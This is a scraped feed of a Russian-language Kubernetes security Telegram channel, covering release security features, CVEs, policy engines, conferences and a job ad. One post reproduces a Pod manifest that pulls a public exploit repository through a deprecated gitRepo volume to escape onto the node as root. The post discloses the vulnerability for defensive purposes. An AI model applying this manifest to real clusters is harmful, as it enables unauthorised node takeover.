k8security | Неотсортированное

Telegram-канал k8security - k8s (in)security

10261

Канал о (не)безопасности Kubernetes + микросервисных, контейнеризированных приложений. Ведет команда www.luntry.ru Вопросы, идеи, предложения => @Qu3b3c https://knd.gov.ru/license?id=673ddbc21039886b1d03b7ce®istryType=bloggersPermission

Подписаться на канал

k8s (in)security

Сегодня выходит Kubernetes версии 1.31 и это значит самое время посмотреть какие улучшения в аспектах ИБ [1,2] он нам принесет.

1) KEP-24 - Поддержка механизма AppArmor в Kubernetes ушло в Stable
2) KEP-2535 - Обеспечение безопасного доступ к образам с IfNotPresent image pull policy
3) KEP-4193 - Контролирование анонимного доступа к endpoints. На пример, к healthz, livez и readyz анонимно обращаться можно, а к другим нельзя даже при разрешениях RBAC.
4) KEP-4193 - улучшение жизненного цикла Bound Service Account Token
5) KEP-3908 - kube-apiserver может вызывать сторонний external key server для JWT подписи. Теперь есть поддержка сторонних identity providersё и signing services.
6) KEP-4601 - field и label selectors для авторизации. Возможность более гранулированного доступа к ресурсам (но кажется это только для системных компонентов и не влияет на RBAC).
7) KEP-3962 - добавление встроенных Mutating Admission Policies

А все изменения можно посмотреть в 1.31 Enhancements Tracking.

Читать полностью…

k8s (in)security

В Лас-Вегасе прошла ежегодная конференция Black Hat USA 2024 и среди множества интересных докладов наш глаз зацепил доклад – Traceeshark - Interactive System Tracing & Runtime Security using eBPF (слайды и видео к сожалению пока недоступны).

В докладе исследователи представили новый инструмент traceeshark, а если быть точнее, то плагин для Wireshark. Traceeshark позволяет импортировать события, генерируемые tracee в Wireshark для дальнейшего анализа – например, kernel-level events и behavioral detections вместе с сетевым трафиком. Также этот плагин имеет возможность записывать Tracee events, также как это сделано с сетевыми пакетами в Wireshark.

Ознакомиться с самой тулзой можно по ссылке тут. Узнать, то как и где её можно применять можно здесь.

Читать полностью…

k8s (in)security

Сегодня хотим поделиться небольшой утилитой incert, которая позволяет в одну команду изменить docker image, добавить в него CA сертификат и запушить обновленный образ в registry. Например, так:


$ incert -image-url=mycompany/myimage:latest -ca-certs-file=/path/to/cacerts.pem -dest-image-url=myregistry/myimage:latest


Саму тулзу можно посмотреть здесь, а в видео Adding Certificates to Container Images with Incert | Chainguard можно посмотреть какие проблемы она решает и как работает.

Читать полностью…

k8s (in)security

Как вы можете помнить, начиная c Kubernetes 1.26, появились Validating Admission Policies. По сути, это такая еще одна замена PolicyEngine, где правила описываются на языке CEL. Но главным преимуществом, по сравнению с классическими PolicyEngine, является то, что данные для валидации не отправляются на вебхук, а сразу обрабатываются под капотом у Kubernetes.

Вендоры PolicyEngine тоже не сидят сложа руки, и Gatekeeper, начиная с версии 1.13, и Kyverno, начиная с версии 1.11 начали поддерживать VAP. Так например, в крайнем релизе Kyverno 1.12, добавили поддержку PolicyReport для VAP.

Неплохое демо Managing Validating Admission Policies (VAP) через Gatekeeper можно посмотреть тут.

Читать полностью…

k8s (in)security

Для того чтобы блокировать операции над subresources, вроде pods/exec или pods/portforward, необходимо внести некоторые изменения в конфигруацию вебхуков PolicyEngine. А именно – добавить операцию CONNECT. По умолчанию этой операции нет, и если её не добавить соответствующая политика на запрет использования pods/exec или pods/portforward просто не будет работать.

Но есть и хорошие новости. Если вы используете Kyverno и применяете политику, где задействован такой subresource (для контроля которого нужна операция CONNECT), то Kyverno автоматически пропатчит конфиг своего вебхука и добавит туда нужную операцию.

Про необходимость использования операции CONNECT мы рассазывали тут.

Читать полностью…

k8s (in)security

Продолжим тему сетевой безопасности. И если вам интересно куда и как развивается механизм сетевого ограничения в Kubernetes, то вам определённо стоит ознакомится с двумя докладами от ребят что непосредственно работают над этим:
- "AdminNetworkPolicy: A New Kubernetes-Native API for Comprehensive Cluster-Wide Network Security" с Kubecon 2023
-"Network Policy: The Future of Network Policy with AdminNetworkPolicy" с Kubecon 2024

Читать полностью…

k8s (in)security

Недавно, читая нововведения в Red Hat OpenShift 4.16, наше внимание привлекло "Secure OpenShift cluster networking with Admin Network Policy". Для тех кто ранее с этим не сталкивался то речь идет о ресурсе AdminNetworkPolicy (ранее известном как GlobalNetworkPolicy), который является нативной реализацией clusterwide вариации NetworkPolicy! В Calico для этого есть кастомнный ресурс GlobalNetworkPolicy, а в Cilium есть CiliumClusterwideNetworkPolicy и в Antrea это ClusterNetworkPolicy.

Так вот OpenShift на CNI OVN-Kubernetes стал первым поддерживать данный ресурс (обсуждение в Calico и тоже самое в Cilium и в kube-ovn пока просто идут)! Также поддержка (уже как год) этого ресурса есть в Antrea!

Напомним, что работа над этим ресурсом идет в рамках SIG Network, а именно Network Policy API Meeting в рамках KEP-2091: Add support for AdminNetworkPolicy resources.

И пока это все изучали наткнулись еще на один ресурс над которым идет работа - BaselineAdminNetworkPolicy. Его идея в следующем: "An BaselineAdminNetworkPolicy (BANP) resource will help the administrators set baseline security rules that describes default connectivity for cluster workloads, which CAN be overridden by developer owned NetworkPolicies if needed."

P.S. Еще в документах можно встретить TenancyNetworkPolicy ;)

P.S.S. А еще NetworkPolicy v2 =)

Читать полностью…

k8s (in)security

Авито в поиске талантливого специалиста, который возьмёт на себя лидерство в направлении безопасности Kubernetes.

В компании выстроен зрелый процесс безопасной разработки, включающий в себя статический и динамический анализ приложений, поиск секретов и персональных данных, анализ зависимостей и множество других решений для максимально быстрого и точного обнаружения проблем.

Уже собралась крутая команда, состоящая из AppSec, Security BP, команды разработки и для полного счастья нужен инженер по безопасности k8s.

Что предстоит делать?

⭐️ Строить основные процессы безопасности Kubernetes
⭐️ Разрабатывать и внедрять механизмы защиты от основных угроз для контейнерных сред (OWASP TOP 10 Kubernetes/Docker)
⭐️ Консультировать и обучать DevOps и администраторов по настройкам безопасности

Почему Авито?

🔥 Классифайд №1 в мире по версии сервиса SimilarWeb
🔥 Огромная распределённая инфраструктура
🔥 Можно работать как в комфортных офисах в Москве, Санкт-Петербурге, Самаре, Казани или в коворкинге в Ереване, так и полностью удалённо
🔥 Достойная заработная плата (до 500 000 руб)
🔥 Дико флексим на team-get-together

Откликайтесь

Читать полностью…

k8s (in)security

Как-то мы спрашивали Вас про ваше отношение к публикации на данном канале вакансий связанных чисто с Kubernetes security. И большинство высказалось положительно на этот счет.

Мы хорошо понимаем актуальность данной темы, высокий спрос на данных специалистов и все сложности поиска специалистов данного направления. В контексте этого настоятельно рекомендуем ознакомиться со слайдами и видеозаписью доклада "Почему защитой k8s должно заниматься целое подразделение?" от Артема Мерец с прошедшего БеКон 2024.

При этом у нас тут собрана как раз та самая целевая аудитория: кто-то только начинает делать первые шаги в данной области, кто-то уже давно защищает кластера в своих компаниях, кто-то давно занимается разворачиваем и сопровождением K8s и хочется заняться ИБ, кто-то давно работает в SOC и хочет немного сменить фокус и т.д.

Мы решили помочь компаниям в поисках таких специалистов и публиковать вакансии, направленные на специалистов по безопасности Kubernetes (это строгое ограничение). По всем вопросам можно писать контакту указанному в профиле.

Читать полностью…

k8s (in)security

Все слайды и видеозаписи докладов с конференции БеКон 2024!

Изучайте, учитесь и делайте свои контейнерные инфраструктуре безопаснее вместе с нами!

Читать полностью…

k8s (in)security

Если у вас Kubernetes кластер на Windows (ну мало ли), то поспешите обновиться, ведь вышла новая CVE-2024-5321: Incorrect permissions on Windows containers logs с оценкой по CVSS – 6.1 (Medium).

Уязвимость позволяет BULTIN\Users читать логи контейнеров, а NT AUTHORITY\Authenticated Users модифицировать логи контейнеров.

Бага затрагивает версии kubelet <= 1.27.15, 1.28.11, 1.29.6, 1.30.3. Необходимые патчи уже выпущены.

Читать полностью…

k8s (in)security

На нашем сайте в разделе Исследования уже стали доступны и слайды, и видеозапись вебинара "Ловим злоумышленников и собираем улики в контейнерах Kubernetes", который мы проводили вчера. Так что если вы вчера не смогли присутствовать online, то уже есть возможность все изучить в записи!

Там мы рассмотрели:
- способы обнаружения злоумышленника в контейнерных окружениях
- какие подходы смогут эффективно помочь в расследовании и реагировании инцидентов
- возможности Luntry, необходимые для Incident Response

И отдельный таймкод на последнюю часть с live demo.

Как всегда если есть вопросы, то пишите в комментариях.

Читать полностью…

k8s (in)security

Читатели нашего канала недавно поделились с нами своей статьей "Threat Detection in the K8s Environment" в которой рассказывают об опыте работы своего SOC в Kubernetes. В статье идет речь про кастомный Tetragon и анализ Kubernetes Audit Log. К правилам/сигнатурам для Tetragon (как и ко всем правилам) есть вопросы, но вот Audit Policy (она полностью приводится в статье и ее можно взять за базу) и сценарии анализа ее результатов очень классные. Единственное, что на наш взгляд тут можно было бы добавить это сочетание использования с PolicyEngine (в статье о данном клаcсе решений ничего не говориться), чтобы предотвратить множество кейсов и не доводить их до расследования вообще.

В общем, очень рекомендуем для изучения (ребята молодцы!), особенно в преддверии нашего сегодняшнего вебинара «Ловим злоумышленников и собираем улики в контейнерах Kubernetes» в 11:00, где мы покажем как, на пример, можно ловить переименования бинарей (для bypass rules) вообще без правил/сигнатур/аномалий и при этом собрать артефакты для forensic ;)

P.S. Если вы написали статью или инструмент по тематике канала, то не стесняйтесь скидывать =)

Читать полностью…

k8s (in)security

В полку PoliceEngine случилось пополнение и к Kyverno, OPA Gatekeeper, Kubewarden, JSPolicy присоединился Kubelatte! При этом kubelatte это отечественная разработка ребят из СберТех. Данный движок может похвастаться сразу 3 типами политик:
- Мутационными
- Валидационными
- Генерационными

Политики это специальные CRD, где сами правила можно писать с помощью двух синтаксисов:
- rego
- simples (jmespath + regexp)

Подробнее о проекте можно почитать тут или спросить в комментариях к данному посту и авторы проекта ответят ;)

P.S. Проект молодой, но по общению с командой планируются и backgroundscan, и проверка SBOM, и проверка подписи образа!

P.S.S. В Luntry уже есть интеграция с Kyverno, OPA Gatekeeper, а такими темпами и с kubelatte добавим ;)

Читать полностью…

k8s (in)security

"Advanced Linux Detection and Forensics Cheatsheet" - полезный систематизирующий документ по моментам связанным с обнаружением и расследованием инцидентов в Linux. Вы определенно можете отметить как много всего есть и как много куда надо смотреть в Linux (и от этого даже может заболеть голова). В документе упоминается и ряд моментов связанных с контейнерами и K8s. Но если прям специализироваться и затачиваться под последнее, то на их специфике можно сделать много всего интересного и очень полезного. Об этом мы как раз расскажем и покажем на будущем вебинаре «Ловим злоумышленников и собираем улики в контейнерах Kubernetes».

Читать полностью…

k8s (in)security

На просторах Github мы наткнулись на репозиторий KubernetesCRInjection. Он определенно будет полезен, если вы пишите свой Kubernetes controller и хотите избежать возможных уязвимостей еще на стадии его проектирования.

Когда мы имеем дело с уязвимым Kubernetes controller нужно понимать что, злоумышленники могут контролировать определенные пользовательские ресурсы и внедрять вредоносные полезные нагрузки, которые могут вызвать вредоносное поведение, когда контроллер анализирует, обрабатывает, хранит кастомные ресурсы или генерирует другие связанные ресурсы.

Примеры того как можно классифицировать такие инъекции и реальные примеры таких уязвимостей можно в репозитории.

Читать полностью…

k8s (in)security

Совсем недавно компания RedHat выпустила 30-ти страничный отчёт "The state of Kubernetes security report 2024 edition". В нём довольно много цифр и статистики, но самое важное из этого:

- Обеспокоенность в мисконфигурациях продолжает снижаться из года в год. Тем не менее мисконфиги – это по прежнему одна из основных и частых проблем в безопасности Kubernetes кластеров (наши аудиты тому подтверждение)

- Уязвимостей с каждым годом становится только больше. Их нужно правильно триажить и приоритезировать

- Большинство респондентов ответило, что за последний год хотя бы раз сталкивались с инцидентами в рантайме

- Большая часть организаций признают ценность DevSecOps и способствуют сотрудничеству между DevOps и командами безопасности

Читать полностью…

k8s (in)security

Если вы не знаете, почему Kubernetes не управляет пользователями, то статья с одноименным названием "Why Kubernetes doesn’t manage users?" для вас.

В статье рассказывается о преимуществе такого подхода, а также как можно завести пользователей в кластер с помощью external connectors:

- OIDC
- LDAP
- Webhooks and Custom Auth Plugins

Читать полностью…

k8s (in)security

В статье "Authentication and Authorization with ISTIO and OPA on Kubernetes" рассказывается как можно накрутить Authentication и Authorization между сервисами, запущенными в Kubernetes кластере на базе Istio (с использованием RequestAuthentication и AuthorizationPolicy) и OPA.

К использованию OPA пришлось прибегнуть из-за некоторых ограничений Istio, выраженных в отсутствии поддержки regex as path rule.

P.S. – всем хороших выходных!

Читать полностью…

k8s (in)security

Вышла третья статья из цикла Kubernetes Security Fundamentals и в этот раз про Authorization (первая была про API Security и о ней мы писали тут, а вторая про Authentication и почитать про неё можно тут).

Автор кратко разбирает как работают и в чем основные преимущества и недостатки Kubernetes authorization modules, а также рассказывает как устроена авторизация в других компонентах KubernetesKubelet, Scheduler и Controller Manager.

Читать полностью…

k8s (in)security

Вышла версия Cilium 1.16.0 и со стороны security там достаточно изменений:

- Поддержка диапазона портов в Network Policy
- Network Policy Validation Status. С помощью kubectl describe cnp можно узнать является ли сетевая политика Cilium валидной или нет
- Control Cilium Network Policy Default Deny behavior. Благодаря параметру EnableDefaultDeny можно управлять поведением стандартной запрещающей политики.
- Добавлена поддержка CiliumCIDRGroups в egress правилах в политиках.
- Load "default" Network Policies from Filesystem. Помимо привычной раскатки политик через kubectl apply, теперь их можно подсовывать напрямую из FS.
- Support to Select Nodes as Target of Cilium Network Policies. С помощью новых селекторов ToNodes/FromNodes трафик может быть разрешен или запрещен на основе лейблов target Node.

Полный changelog можно посмотреть тут.

Читать полностью…

k8s (in)security

Классный исследователь безопасности и по совместительству подписчик нашего телеграм канала Luis Toro Puig совсем недавно выступил на конференции EuskalHack с воркшопом Kubernetes Security Fundamentals. Доклад затронул, наверное, все самые базовые темы в направлении Kubernetes Security.

100 must-have слайдов можно найти тут.

Читать полностью…

k8s (in)security

Крутой лонгрид "Attacking Pipeline". 8 типов атак с различными сценариями представлены по шагам с рекомендациями по обеспечению безопасности (и все это с понятными примерами)!

Рассмотренные атаки:
- Control of common registry
- Direct PPE (d-PPE)
- Indirect PPE (i-PPE)
- Public PPE
- Changes in repository
- Inject in Artifacts
- User/Services credentials
- Typosquatting docker registry image

Читать полностью…

k8s (in)security

SAPwned: SAP AI vulnerabilities expose customers’ cloud environments and private AI artifacts – интересная статья от исследователей из WIZ, в которой они описывают полную цепочку захвата Kubernetes кластера.

Интересно, что изначально пользователи SAP AI могли создавать собственные нагрузки, используя Argo Workflow, но они были строго ограничены по securityContext и сети с помощью Istio.

Но простой трюк со сменой UID на 1337 (об этом мы рассказывали тут) позволил ресерчерам обойти сетевые ограничения, насканить сеть, найти AWS token, получить пользовательские данные из S3 хранилища и захватить кластер целиком через Unauthenticated Helm Tiller.

Читать полностью…

k8s (in)security

В одной из последних версий проекта Sigmа, обновился набор правил касающихся Kubernetes - теперь их там стало 15. Для тех кто не в курсе что такое Sigma, то рассказываем - это Generic Signature Format for SIEM Systems со своей библиотекой правил! Можно использовать проект как по прямому назначению, так и просто подсматривая правила ;)

В общем на заметку специалистам SOC.

Читать полностью…

k8s (in)security

В блоге BugHunters компании Google вышла статья "Securing the Container World with Policies: acjs and ctrdac", где они представляют общественности два своих инструмента:
1) acjs - PolicyEngine для Kubernetes с возможностью мутационных и валидационных политик на JavaScript.
2) ctrdac - адаптер для первого проекта, чтобы можно было его использовать за пределами Kubernetes c чистыми Docker/containerd.

Первый проект по сути аналог JSPolicy.
Второй проект это по сути OPA с интеграцией с Dockercontainerd не встречали) .

В связи с существующими PolicyEngine для Kubernetes, в сценарий использования этих инструментов там не особо верится, а вот в сценарий вне Kubernetes вполне возможно!

Читать полностью…

k8s (in)security

Если вы занимаетесь пентестами, то наверняка слышали о такой утилите как nuclei. Эта тулза является очень гибким и легко кастомизируемым vulnerability сканером, благодаря templates, которые пишутся на YAML.

Так вот ребята из ProjectDiscovery (авторы тулзы) решили пойти дальше и добавить темплейты для сканирования Kubernetes кластера:

- Deployment Configurations Review
- Network Policies Enforcement
- Pod Security Standards
- Compliance and Configuration Management
- Security Contexts and Roles
- Logging and Monitoring
- Secrets Management
- Vulnerability Scanning and Patch Management


Всё это доступно в темплейтах версии 9.9.0. Естественно их можно кастомизировать – писать кастомные проверки, compliance и прочее.

Читать полностью…

k8s (in)security

Стали доступны видео докладов с прошедшей конференции CloudNativeSecurityCon North America 2024. Слайды доступны на сайте конференции.

Определенно рекомендуем ознакомиться с ними.

Читать полностью…

k8s (in)security

Исследователь безопасности из Google Imre Rad нашел способ побега из контейнера в Kubernetes через deprecated volumes (начиная с 1.11) – gitRepo. Для эксплуатации необходимо соблюсти три условия: поддержка gitRepo volume type, наличие git бинаря на Node и отсутствие ограничений на использование gitRepo volume type.

Чтобы сбежать из контейнера таким способом, нужно определенным образом сконфигурировать git репозиторий и выставить gitRepo в манифесте:


apiVersion: v1
kind: Pod
metadata:
name: test-pd
spec:
containers:
- image: alpine:latest
command: ["sleep","86400"]
name: test-container
volumeMounts:
- mountPath: /gitrepo
name: gitvolume
volumes:
- name: gitvolume
gitRepo:
directory: g/.git
repository: https://github.com/raesene/repopodexploit.git
revision: main


Интересно, что данной проблеме не присвоили CVE, хотя она может привести к побегу из контейнера. Автор, обнаруживший проблему уже закинул PR, фикс стоит ожидать во всех поддерживаемых версиях.

Для того чтобы детальней ознакомиться с техническими подробностями уязвимостями советуем изучить статью Imre RadSneaky write hook: git clone to root on k8s node. Также Rory McCune в статье Fun With GitRepo Volumes показал чего может добиться злоумышленник, используя данную уязвимость

Читать полностью…

k8s (in)security

Статья jp-gouin/how-to-create-a-multi-clusters-secure-supply-chain-slsa-3-in-10min-oss-edition-2059aa39790b">How to create a multi clusters secure supply chain (SLSA 3) in 10min (OSS edition) будет хорошей отправной точкой, если вы хотите построить Supply Chain Security на базе Kubernetes в своей инфраструктуре.

В этой статье представлено пошаговое руководство по созданию собственной безопасной цепочки поставок. Применяя описанные лучшие практики, вы сможете лучше защитить инфраструктуру на базе Kubernetes от потенциальных уязвимостей в приложениях и сохранить их целостность на протяжении всего их жизненного цикла.

P.S. – все материалы используемые в статье доступны в репозитории тут.

P.P.S – вопрос безопасности Supply Chain в Kubernetes мы поднимали в свежем докладе "Механизмы Kubernetes против атак supply chain"

Читать полностью…
Подписаться на канал